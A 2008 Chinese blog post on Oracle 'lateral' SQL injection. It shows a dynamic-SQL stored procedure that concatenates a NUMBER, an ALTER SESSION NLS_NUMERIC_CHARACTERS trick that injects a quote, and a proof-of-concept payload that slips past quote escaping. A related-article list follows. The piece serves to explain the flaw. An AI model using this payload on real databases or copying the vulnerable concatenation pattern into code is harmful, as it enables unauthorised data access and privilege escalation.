lateral函数oracle,ORACLE LATERAL-SQL-INJECTION 个人见解
ORACLE LATERAL-SQL-INJECTION 个人见解
更新时间:2008年05月07日 18:54:31 作者:
最近忙啊忙啊的,今天终于有点点时间抽出来看看技术文章了,最近国外又出了关于新型ORA注入技术的PAPER,赶紧测试,主要是出现在SQL语句字符拼 接的时候,DATE类型转换为VARCHAR 以及 NUMBER转换为VARCHAR加入的格式字符出现问题。
如果直接执行SQL语句或者参数绑定则不用担心太多,
如以下ORACLE存储过程
create or replace procedure kjdatepoc(date d)
as
begin
insert into kjdatetable values(d);
commit;
end;
根本不需要担心遭受到SQL新型注入攻击,那么在什么地方会发生DATE 以及 NUMBER的注入攻击呢!?一般都是采用了动态SQL而又不采用参数绑定的语句。
例如工程师经常用的DBMS_SQL或者EXECUTE IMMEDIATE
看以下存储过程
create or replace procedure kjdatepoc(date d)
as
begin
execute immediate ‘insert into kjdatetable values('|| d ||')';
commit;
end;
那么遇到以上的存储过程或者函数等,也通过修改SESSION中的NLS_DATE_FORMAT中的值达到SQL注射的目的,
老外的PAPER讲解得非常详细了 ,我在这里也不废话。
惟独对于 NUMBER类型的注射没有多作讲解 只是简单演示了可以输出单引号!
看以下语句
ALTER SESSION SET NLS_NUMERIC_CHARACTERS=”'.';
SELECT to_number(1000.10001,'999999D99999′)||” FROM DUAL;
输出一下结果
1000′10001
只是多了一个单引号,那有什么用呢?乐观的来说!在特定情况下是很有价值的!看以下一个存储过程
create or replace procedure NumInjPoc(kjexpnum number,kjexpstr varchar2)
is
SecStr varchar2(1000);
begin
SecStr:=replace(kjexpstr,””,”””);
sys.dbms_output.put_line('SELECT * FROM DUAL WHERE ID='||kjexpnum||' and name=”'||SecStr||””);
end;
内部对varchar类型进行替换了!我们可以进行测试
begin
numinjpoc(1000,”'–');
end;
其输出SQL语句为
SELECT * FROM DUAL WHERE ID=1000 and name=”'–'
单引号被转义掉了
那么如果我们结合这个NUMBER类型怎么进行注射呢?
ALTER SESSION SET NLS_NUMERIC_CHARACTERS=”'.';
begin
numinjpoc(TO_NUMBER(0.10001,'999999D99999′),'||kj.exp()–');
end;
看看输出结果
SELECT * FROM DUAL WHERE ID='10001 and name='||kj.exp()–'
这样就可以间接的攻击它…
在某中程度才来需要ALTER SESSION 配合后,再去攻击系统内部的一些函数或者过程来提升权限。未尝不是一种好的突破思路,但是对于单语句进行SQL注射攻击,以结果为向导的话!这样的方式没多大作为。
相关文章
查看Oracle的执行计划一句话命令...2007-04-04
最近忙啊忙啊的,今天终于有点点时间抽出来看看技术文章了,最近国外又出了关于新型ORA注入技术的PAPER,赶紧测试,主要是出现在SQL语句字符拼 接的时候,DATE类型转换为VARCHAR 以及 NUMBER转换为VARCHAR加入的格式字符出现问题。2008-05-05
介绍Oracle数据库中获取数据的存储过程示例 ,在表A取得的数据插入另一个表B中2008-09-09
字符串函数,数学函数,日期函数,逻辑运算函数,其他函数2008-09-09
oracle下加密存储过程的方法...2007-04-04
Oracle 下的开发日积月累...2007-04-04
DBA_2PC_PENDING 介绍...2007-04-04
Oracle 下医嘱执行函数...2007-04-04
Unable to construct a Datum from the specified input的解决方法2008-09-09
DB2和 Oracle的并发控制(锁)的比较...2007-04-04
最新评论
lateral函数oracle,ORACLE LATERAL-SQL-INJECTION 个人见解相关推荐
- Oracle Caused by: java.sql.SQLException: sql injection violation, syntax error: syntax error, expect
参考:https://blog.csdn.net/qq_36326332/article/details/102938147 https://blog.csdn.net/fly_captain/art ...
- oracle 12c pl/sql语言,ORACLE 12C SQL语句中通过with 定义PL/SQL 函数
在ORACLE 12C支持在sql语句中编写函数,用来实现sql语句操作需要使用函数的部分功能,该功能对于你不想在数据库中新建函数 or 你的库是read only模式下要使用新函数实现某种功能,可以 ...
- oracle数字加 39,Oracle数据库之SQL单行函数—数字函数-Oracle
Oracle数据库之SQL单行函数-数字函数 1.三角函数 SIN ASIN SINH COS ACOS COSH TAN ATAN TANH 对于上述三角函数,见名知意.做一个间断的练习 ...
- Oracle之pl/sql编程(一)函数,过程,包
pl/sql是什么? pl/sql是oracle在标准sql语言上的扩展.不仅允许嵌入sql语言,还可以定义常量和变量,允许使用条件语句和循环语句,允许使用例外处理各种错误. 作用:过程,函数,触发器 ...
- oracle的date_add,SQL Server 中add函数到 oracle date add的操作
SQL Server 中add函数到 oracle date add的操作 oracle date add minutes How does one add a day/hour/minute/sec ...
- ArcGIS——数据库空间SQL(一、oracle中使用sql空间查询及st_astext等函数出错问题)
一.引言 将shp文件导入oracle中就想着直接用sql进行普通查询和空间查询,这样直接通过webserver发布就可以不用arcgis server直接进行接口调用了,感觉这样比较接触底层些,所以 ...
- Oracle MySQL Hive sql进行相邻数据相减、相加等运算 lad lead 窗口函数 偏移函数
工作中可能会对同一字段相邻两条数据进行运算,这时候就可以用到偏移函数(Oracle.Hive.MySQL8+通用) 这里用MySQL8+进行演示,准备MySQL数据: DROP TABLE IF EX ...
- Oracle使用PL/SQL自定义函数
这里写目录标题 一.PL/SQL概述 二.变量和常量 2.1变量 2.2赋值方式 2.3常量 2.4常量和变量的区别 三,%type和%rowtype 3.1 %type 3.2 %rowtype 四 ...
- Oracle中有dateadd吗,SQL Server 中add函数到 oracle date add的操作
SQL Server 中add函数到 oracle date add的操作 oracle date add minutes How does one add a day/hour/minute/sec ...
最新文章
- 机器人3D互动展品开发计划——飞拍视觉伺服
- http协议头信息详解
- 【Spring】12、Spring Security 四种使用方式
- 万能数据库查询分析器使用技巧之(十四)
- [转]Multiple outputs from T4 made easy
- 整理的一些实用工具网站
- tensorflow 的版本差异与变化
- python 调用 .netcore api_浅谈Python调用XBee的API来进行通讯
- Septentrio RAIM+接收机自主完好性监测实验
- php图片颤抖,如何实现图片抖动效果
- MyEclipse2017CI安装包及图解破解步骤
- java动态规划凑硬币问题_动态规划 凑硬币问题
- Hibernate 第一个程序的问题Unknown entity(新手必看)
- Python 计算思维训练——数组和曲线绘制练习(一)
- [读书笔记]用户画像:方法论与工程化解决方案
- clover UEFI+GUID最简单显核安装黑苹果教程(易懂)
- gitee代码管理仓库管理代码,更简单地查看各阶段的代码变动
- 云计算平台项目团队组织架构与缘起
- Spark——RDD操作详解
- 计算机毕业设计SSM电影票购票系统【附源码数据库】
热门文章
- 【linux】linux 查找 或者 搜索 文件 find
- 95-32-010-ChannelPipeline-ChannelPipeline简介
- 【Elasticsearch】es 面试题 积累
- 【Elasticsearch】检查您的 Elasticsearch 分片
- 20-10-026-安装-KyLin-2.6.0-单机版安装(MAC官网下载)-spark引擎
- Spark 2.2 Core :TimSort 的原理与源码分析
- 【Flink】Flink Table 基于Processing Time、Event Time的多种Window实现
- java中一个分而治之的框架ForkJoin
- 线程池很难么?带你从头到尾捋一遍,不信你听不懂!
- Map(String ArrayList(Student))相关操作和遍历和利用Map(k v)统计字母出现次数